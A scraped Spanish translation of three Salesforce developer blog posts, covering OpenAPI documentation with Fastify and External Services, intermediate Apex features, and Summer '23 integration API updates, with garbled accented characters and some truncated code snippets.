Informaci贸n Proporciona metadatos sobre la API, como el t铆tulo, la descripci贸n, los t茅rminos del servicio, la informaci贸n de contacto, etc. Obligatorio
Servidores Especifica una o m谩s URL base para su API, como producci贸n o preparaci贸n.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un m茅todo HTTP con los detalles de la operaci贸n.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operaci贸n.
Documentos externos Proporciona una descripci贸n y una URL para la documentaci贸n externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, par谩metros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicaci贸n m谩s detallada de cada secci贸n y sus correspondientes definiciones de objeto, consulte la documentaci贸n oficial de la especificaci贸n OpenAPI .

Para fines de demostraci贸n, crearemos una API para administrar una librer铆a. Esta API contar谩 con dos m茅todos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuaci贸n, encontrar谩 una definici贸n b谩sica de esta API, centr谩ndose en el m茅todo para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aqu铆: Informaci贸n , Rutas y Componentes . Como se mencion贸 anteriormente, describiremos esta API a medida que la implementemos mediante c贸digo. Para este prop贸sito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Est谩 dise帽ado para facilitar su uso y ofrecer la m谩xima velocidad sin comprometer la personalizaci贸n. Fastify proporciona una base s贸lida para las aplicaciones web y las API, con funciones como la validaci贸n de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro autom谩tico. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan autom谩ticamente a partir de sus esquemas de ruta o de una definici贸n existente de Swagger/OpenAPI. Adem谩s, utilizar谩 fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicaci贸n.

Nota: La siguiente demostraci贸n requiere la instalaci贸n de Node.js LTS y, a la fecha de esta publicaci贸n de blog, la 煤ltima versi贸n es v18.16.0.

Comencemos a crear la API de su librer铆a instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostraci贸n, se centrar谩 en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos c贸mo integrar la API con una base de datos. Si est谩 interesado en explorar la fuente completa del proyecto, est谩 disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registr茅moslos como complementos.

aplicaci贸n.js

En la configuraci贸n del complemento de Swagger, tiene la opci贸n de pasar toda la definici贸n de especificaci贸n de OpenAPI, o puede aprovechar el enfoque din谩mico que ofrece el complemento. Para esta demostraci贸n, utilizar谩 el enfoque din谩mico. Dado que el 煤nico campo obligatorio es info , definir谩 los metadatos de su API all铆, adem谩s, la secci贸n refResolver se encarga de nombrar las referencias de definici贸n de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojar谩 el sitio de documentaci贸n.

Ahora vamos a crear una carpeta schemas . Aqu铆 es donde definir谩 los esquemas de su API. Para esta demostraci贸n, definir谩 un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajar谩, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificaci贸n OpenAPI, el complemento Swagger agregar谩 autom谩ticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deber谩 registrar los esquemas dentro de Fastify. Luego, especificar谩 los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} “>

Analicemos la ruta POST /books :

  • La funci贸n fastify.post define el m茅todo HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga 煤til que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). Tambi茅n incluye varios objetos response para esa ruta, que se asignan a los c贸digos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementaci贸n de la ruta. En este caso, est谩 insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolver谩 un objeto de error. Es importante tener en cuenta que est谩 utilizando los mismos esquemas que defini贸 anteriormente.

Nota: Tambi茅n tiene la opci贸n de excluir ciertas rutas de la documentaci贸n pasando hide: true en el objeto de esquema de esa ruta espec铆fica, como se demuestra en GET / route.

Su API est谩 lista, as铆 que ejec煤tela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentaci贸n y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, aseg煤rese de actualizar el script start en el archivo package.json con lo siguiente.

Adem谩s, aseg煤rese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql est谩 disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver c贸mo se ve implementado, vea mi versi贸n que se ejecuta en Heroku .

Integraci贸n de una API externa con Salesforce

Ahora que tiene una API de acceso p煤blico, integr茅mosla con Salesforce como un servicio externo.

Primero, deber谩 crear una credencial con nombre para esta API. En la interfaz de usuario de configuraci贸n, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticaci贸n personalizado y una entidad de seguridad.

Aseg煤rese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API p煤blica.

A continuaci贸n, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificaci贸n de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificaci贸n de OpenAPI. En su demostraci贸n, ser谩 /api-docs/json .

Despu茅s de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los par谩metros de entrada como los de salida.

Ahora podr谩 invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusi贸n

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinaci贸n para integrar API externas en su organizaci贸n de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir f谩cilmente estas definiciones e invocarlas desde soluciones de c贸digo bajo y pro-c贸digo, los desarrolladores como usted pueden optimizar el proceso de conexi贸n a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si est谩 interesado en obtener m谩s informaci贸n sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuaci贸n, incluidos videos que muestran c贸mo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Sube de nivel tus habilidades Apex 鈽侊笍

Sube de nivel tus habilidades Apex 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Subiendo de nivel tus habilidades de Apex | Blog de desarrolladores de Salesforce

Apex es una habilidad 煤nica que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos b谩sicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, l铆mites reguladores y disparadores, son particulares de Apex y c贸mo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas caracter铆sticas y modismos clave, 驴a d贸nde va despu茅s?

En esta publicaci贸n, aprender谩 sobre algunas caracter铆sticas de Apex que son cr铆ticas para cualquier desarrollador de Apex que busque mejorar m谩s all谩 de lo b谩sico, junto con d贸nde puede ir para aprender sobre ellas.

Nota: Siempre que sea posible, los ejemplos de c贸digo en esta publicaci贸n se toman directamente o se adaptan de la aplicaci贸n de muestra Recetas de Apex o la Gu铆a para desarrolladores de Apex. Ver las referencias al final del art铆culo.

En estos d铆as, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opci贸n que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. A煤n as铆, es raro que los problemas comerciales complejos se puedan resolver sin ning煤n tipo de c贸digo.

Introduzca Apex invocable.

La anotaci贸n @InvocableMethod se usa para definir m茅todos llamados por Flow. Y @InvocableVariable muestra los par谩metros para que Flow pase datos a su c贸digo Apex. 驴Por qu茅 llamar铆a a Apex desde Flow? Quiz谩s la l贸gica de su flujo se est谩 volviendo demasiado compleja. Tal vez su automatizaci贸n necesite realizar una operaci贸n que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.

Aqu铆 hay una ilustraci贸n b谩sica del uso de la anotaci贸n @InvocableMethod :

<dx-code-block title language="java" code-block="public class AccountQueryAction {   @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account')   public static List getAccountNames(List ids) {     List accountNames = new List();     List accounts = [SELECT Name FROM Account WHERE Id in :ids];     for (Account account : accounts) {       accountNames.add(account.Name);     }     return accountNames;   } }”>

Este ejemplo de la Gu铆a para desarrolladores de Apex ilustra c贸mo la anotaci贸n marca esto como un m茅todo que Flow puede invocar. Tenga en cuenta que la anotaci贸n tambi茅n define detalles como una etiqueta y una descripci贸n que determinan lo que se muestra al usuario de Flow Builder.

Un efecto secundario importante de las anotaciones de @Invocable鈥 del que pocas personas hablan es que esto muestra autom谩ticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex .

Otra cosa 煤til que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex as铆ncrono. Lo que trae a colaci贸n la siguiente caracter铆stica de Apex que se debe abordar.

La ejecuci贸n as铆ncrona desacopla una acci贸n que queremos realizar del contexto de ejecuci贸n actual. Siguiendo las mejores pr谩cticas actuales, existen tres formas de ejecutar Apex de forma asincr贸nica: en cola, programable y por lotes. Aunque t茅cnicamente el bus de eventos es as铆ncrono, lo omitiremos por el momento.

Si solo necesita activar un poco de c贸digo para ejecutarlo de forma asincr贸nica, la opci贸n en cola es la herramienta de referencia. Si tiene varias tareas asincr贸nicas, queueable las ejecuta de manera determinista en orden. Debido a que est谩n en cola en orden, tambi茅n puede encadenar una llamada as铆ncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.

Apex programado funciona tal como lo esperar铆a: ejecute alg煤n c贸digo de Apex en un horario. Batch Apex est谩 optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex as铆ncrono, debe crear una clase de Apex que implemente una interfaz espec铆fica: Queueable , Schedulable o Batchable , respectivamente.

Nota: algunos desarrolladores pueden estar familiarizados con la anotaci贸n @Future para hacer que un solo m茅todo sea asincr贸nico, tambi茅n conocido como "m茅todos futuros". Los m茅todos futuros, aunque r谩pidos y f谩ciles, tienen limitaciones que los hacen menos 煤tiles. No hay nada que pueda hacer con un m茅todo futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producci贸n con m茅todos futuros.

Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.

<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} “>

Todas las interfaces as铆ncronas de Apex tienen un m茅todo execute() que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable , debe ponerla en cola.

Si bien no se muestra en este ejemplo de la aplicaci贸n de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los par谩metros que necesita.

El t茅rmino "Apex din谩mico" es un poco inapropiado. O, al menos, podr铆a malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programaci贸n din谩mico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
funci贸n eval !).

Dynamic Apex es un c贸digo que se adapta a diferentes tipos de SObject ( Account , Contact , My_Custom_Object__c , etc.) en tiempo de ejecuci贸n. Esto se hace abstrayendo referencias espec铆ficas de SObject. La clave es usar la superclase SObject cuando se trabaja con datos. Tambi茅n utilizar谩 las funciones de "descripci贸n" de Apex para detectar con qu茅 objetos y campos est谩 trabajando y qu茅 puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).

Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, crear谩 una aplicaci贸n que debe adaptarse al entorno local del cliente que instala su aplicaci贸n. Esto significa que su c贸digo necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.

Aunque es esencial para un desarrollador de ISV, tambi茅n es importante para cualquier persona que quiera escribir c贸digo m谩s reutilizable.

Tome este ejemplo de consulta muy b谩sico:

<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];”>

Esto funcionar谩 todo el d铆a consultando los datos de la cuenta. Pero, 驴y si queremos construir una consulta para cualquier SObject?

Para convertir esto en un Apex "din谩mico", necesitamos abstraer las referencias de campo y SObject espec铆ficas. Y tal vez lo incluir铆amos en un m茅todo que permitiera a otro desarrollador pasarlos. Tambi茅n podr铆amos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operaci贸n que estamos a punto de intentar.

<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } “>

Lo anterior construye una consulta para un SObject que se pasa al m茅todo y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuaci贸n, debe invocarlo.

As铆 es como podr铆amos hacer eso con los objetos Cuenta y Contacto, respectivamente:

<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); “>

Este ejemplo no aborda algunos riesgos de SOQL din谩mico, como la inyecci贸n de SOQL. Por lo tanto, aseg煤rese de leer sobre Apex din谩mico. Aprender a escribir Apex seguro har谩 que sea menos probable que implemente c贸digo vulnerable en su organizaci贸n (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex din谩mico de ser explotado. El m茅todo escapeSingleQuotes() es otra herramienta m谩s antigua que tambi茅n puede encontrar. El modo de usuario tambi茅n es clave para garantizar que cualquier acci贸n realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.

Para obtener un ejemplo m谩s completo y seguro de Apex din谩mico, consulte la receta de Apex del m茅todo invocable en la aplicaci贸n de ejemplo Recetas de Apex. Esa acci贸n invocable funciona con el objeto Cuenta o Tarea.

Con Salesforce, hay algunas formas de realizar la integraci贸n sin c贸digo. Espec铆ficamente, si solo necesita una aplicaci贸n o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran autom谩ticamente sin ning煤n tipo de codificaci贸n en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si est谩 integrando su organizaci贸n a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere c贸digo).

Pero a veces, es posible que deba llamar desde su organizaci贸n a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe m谩s complejidad que una de las API est谩ndar. Nuevamente, Apex contiene funciones que admiten tanto la aparici贸n de nuevas API personalizadas como la llamada a servicios web.

Al pensar en API personalizadas, en estos d铆as, la mayor铆a de los desarrolladores pensar铆an en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotaci贸n @RestResource . Parte del trabajo de la anotaci贸n es definir tambi茅n el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/ .

Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de m茅todos que corresponden a verbos HTTP, como @HttpGet y @HttpPost . La clase RestContext contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuaci贸n, se muestra un ejemplo de un extremo REST b谩sico que aparece en el m茅todo HTTP GET. Tenga en cuenta c贸mo se utilizan las anotaciones.

<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} “>

Si su requisito es crear un servicio SOAP, tambi茅n hay un conjunto de caracter铆sticas para admitir ese protocolo.

Fuera del c贸digo real, necesitar谩 una sesi贸n autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.

La llamada a un punto final REST externo se realiza a trav茅s de un conjunto de clases. La clase HttpRequest le permite definir los par谩metros de c贸mo se comportar谩 su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a trav茅s del m茅todo est谩tico Http.request() . Esto devuelve un objeto HttpResponse que le proporciona los datos devueltos o el error si la solicitud falla.

Nota: Las clases HttpRequest y HttpResponse son las mismas para las llamadas REST y los servicios REST personalizados.

Se requiere cierta configuraci贸n para su texto destacado. Espec铆ficamente, deber谩 configurar una credencial con nombre en la mayor铆a de los casos. Esta configuraci贸n le permite descargar el protocolo de enlace de autenticaci贸n de su c贸digo. Aunque, si est谩 llamando a un servicio an贸nimo no autenticado, tambi茅n puede optar por usar una configuraci贸n de sitio remoto m谩s simple.

= 200 && response.getStatusCode()

El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticaci贸n.

La transmisi贸n de eventos es una herramienta valiosa para crear arquitecturas d茅bilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisi贸n de eventos a trav茅s de dos caracter铆sticas principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.

De la Gu铆a para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de m煤ltiples inquilinos y m煤ltiples nubes basado en un modelo de publicaci贸n-suscripci贸n". Tanto su organizaci贸n como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.

Los eventos de plataforma representan los datos que pasan a trav茅s del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject ef铆mero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e (por ejemplo Order_Complete__e ).

Una vez que completa un evento con sus datos, el m茅todo EventBus.publish() es similar a una llamada DML en su SObject normal. Tenga en cuenta el c贸digo a continuaci贸n que publica un evento.

En Apex, se suscribe a un evento creando un disparador as铆ncrono para 茅l. Pero los disparadores as铆ncronos son diferentes de la operaci贸n DML transaccional est谩ndar de un disparador normal. Por esta raz贸n, debe tener en cuenta algunas diferencias. Con disparadores as铆ncronos, el tama帽o del lote es diferente. Necesitas configurar tu usuario de ejecuci贸n. Las operaciones de activaci贸n de eventos tambi茅n se pueden volver a intentar. Aseg煤rese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuaci贸n.

A diferencia de los disparadores DML t铆picos, los disparadores de eventos de plataforma solo admiten el contexto after insert . Tampoco existe una acci贸n expl铆cita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organizaci贸n, se suscribe autom谩ticamente.

Adem谩s de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones d茅bilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.

Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas caracter铆sticas bastante comunes. Pero es posible que deba aprender otras funciones de Apex seg煤n los requisitos de su proyecto. Aqu铆 hay algunos otros elementos que debe tener en cuenta.

Cach茅 de plataforma : si proviene de otras plataformas de programaci贸n, estar谩 familiarizado con la noci贸n de una variable est谩tica o global persistente en todas las transacciones. Pero en Apex, las est谩ticas se limitan a la transacci贸n. La memoria cach茅 de la plataforma es una caracter铆stica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperaci贸n de datos, la memoria cach茅 de la plataforma puede ayudar.

Marcos de activaci贸n : no es una caracter铆stica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el c贸digo de activaci贸n repetitivo que a menudo necesita escribir. Al usar un marco de activaci贸n, deber铆a permitirle concentrarse solo en la l贸gica que debe abordarse. Para algo m谩s que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentar铆an que deber铆a considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimizaci贸n prematura. Hay una implementaci贸n muy simple de esto en la aplicaci贸n Apex Recipes .

SOSL : el lenguaje de b煤squeda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparaci贸n con la b煤squeda de campos de texto con SOQL y comodines. Admite la b煤squeda de varios SObjects simult谩neamente y contiene funciones para filtrar de forma determinista los resultados de la b煤squeda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.

AuraEnabled : para mostrar el c贸digo Apex personalizado en sus componentes web Lightning (LWC), esta anotaci贸n es clave. Es muy probable que ya est茅 usando este si comenz贸 su viaje de Salesforce creando LWC. Pero si a煤n no lo ha usado, b煤squelo en cualquier proyecto que involucre una interfaz de usuario personalizada. 驴Por qu茅 "Aura" habilitado si es para LWC? Bueno, esta anotaci贸n se cre贸 inicialmente para admitir el predecesor de LWC, el marco Aura. Ten铆a sentido no reinventar una nueva anotaci贸n cuando la existente funcionar铆a igual de bien para LWC.

Cada viaje para aprender un nuevo lenguaje de programaci贸n tiene algunas caracter铆sticas clave que todos deben conocer. La sintaxis b谩sica, el control de flujo y el modelo de ejecuci贸n de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos b谩sicos, trabajar en funciones m谩s avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex as铆ncrono, el Apex "din谩mico", la integraci贸n y el bus de eventos son funciones que probablemente utilizar谩 a medida que avanza. Al familiarizarse con estos ahora, no solo se preparar谩 para abordar proyectos en el futuro, sino que tambi茅n podr谩 tomar mejores decisiones de soluci贸n.

Si cree que est谩 listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y m谩s.

Aplicaci贸n de muestra Apex Recipes en Github

Gu铆a para desarrolladores de Apex

Gu铆a de referencia de idiomas de Apex

Centro de desarrolladores de Apex

Peter Chittum ha trabajado en software empresarial y habilitaci贸n para desarrolladores durante m谩s de 20 a帽os. Pas贸 los 煤ltimos 12 a帽os ayudando a miles de desarrolladores a tener 茅xito en la plataforma de Salesforce, y m谩s recientemente lider贸 el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de monta帽a, cocina y toca m煤sica. S铆galo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Actualizaciones de integraci贸n de plataforma para desarrolladores | Aprende Moar Verano '23 | Blog de desarrolladores de Salesforce

隆脷nase a nosotros para Release Readiness Live esta semana! Los expertos en productos y los defensores de los desarrolladores analizar谩n y demostrar谩n las nuevas funciones en el lanzamiento de Summer '23 y, al final de nuestra transmisi贸n, responderemos sus preguntas. Sintonice a las 9 am PT el 19 de mayo para la sesi贸n de desarrolladores. 驴No puedes unirte a nosotros en vivo? La grabaci贸n se publicar谩 unas horas despu茅s de que finalice la transmisi贸n.

Introducci贸n

El verano finalmente est谩 aqu铆, y para nosotros los desarrolladores, 隆eso significa un nuevo y emocionante lanzamiento! Exploremos las pr贸ximas caracter铆sticas que trae la versi贸n Summer '23 para los desarrolladores centrados en la integraci贸n de plataformas.

Consultas SOQL anidadas en API

A partir de la API de la plataforma de Salesforce v58.0, SOQL ahora admite consultas de relaci贸n que atraviesan hasta cinco niveles de registros primarios y secundarios . Anteriormente, solo se admit铆a un nivel. Esta caracter铆stica est谩 disponible para objetos est谩ndar y personalizados, y est谩 limitada a consultas realizadas a trav茅s de llamadas de consulta REST y SOAP.

Prob茅moslo probando una relaci贸n padre-hijo de cuatro niveles usando la API REST con la siguiente consulta:

La llamada API ahora devuelve los registros anidados solicitados en la siguiente jerarqu铆a: Cuenta (Nivel 1) 鈫 Contacto (Nivel 2) 鈫 Caso (Nivel 3) 鈫 Comentarios del caso (Nivel 4).

Credenciales con nombre en Connect API

Otra caracter铆stica 煤til introducida en esta versi贸n es la capacidad de administrar credenciales con nombre tanto desde la API REST de Connect como desde la API de Connect . Ya no necesita interrumpir su configuraci贸n para crear credenciales a trav茅s de la interfaz de usuario; ahora, se puede hacer program谩ticamente,

Por ejemplo, puede recuperar la lista de todas las credenciales con nombre existentes realizando la siguiente llamada a la API:

GET /services/data/v58/named-credentials/named-credential-setup

Alternativamente, puede usar Apex con lo siguiente:

Tambi茅n puede crear credenciales con nombre mediante programaci贸n con la API y Apex. Este es un ejemplo de c贸mo hacerlo con Apex:

Consulte nuestra colecci贸n Postman para desarrolladores de Salesforce que presenta las nuevas API de Named Credentials y consulte la documentaci贸n de la clase NamedCredentials Apex para obtener m谩s informaci贸n.

Consultas API de GraphQL con funciones agregadas

Nuestra API GraphQL sigue mejorando y, con esta versi贸n, estamos agregando soporte para registros de consulta que usan funciones agregadas con o sin agrupaci贸n .

Podr谩 contar la cantidad de registros que coinciden con ciertos criterios, calcular el ingreso promedio en todas las cuentas o ver la cantidad total de todas las oportunidades.

Se admiten las siguientes funciones agregadas:

  • avg : devuelve el valor promedio de un campo num茅rico
  • count : devuelve el n煤mero de resultados que coinciden con los criterios de consulta
  • countDistinct : devuelve el n煤mero de valores de campo distintos y no nulos que coinciden con los criterios de consulta
  • grouping : especifica si se utiliza un campo al componer el grupo; usar con el argumento de consulta groupBy y el tipo ROLLUP o CUBE
  • max 鈥 Devuelve el valor m谩ximo de un campo
  • min 鈥 Devuelve el valor m铆nimo de un campo
  • sum : devuelve la suma total de un campo num茅rico

Echemos un vistazo a una consulta de ejemplo. La siguiente consulta calcula el ingreso anual promedio de todas las cuentas, agrupadas por industria. Tenga en cuenta que estamos usando el campo aggregate en uiapi en lugar de query , lo que nos permite aprovechar las funciones agregadas.

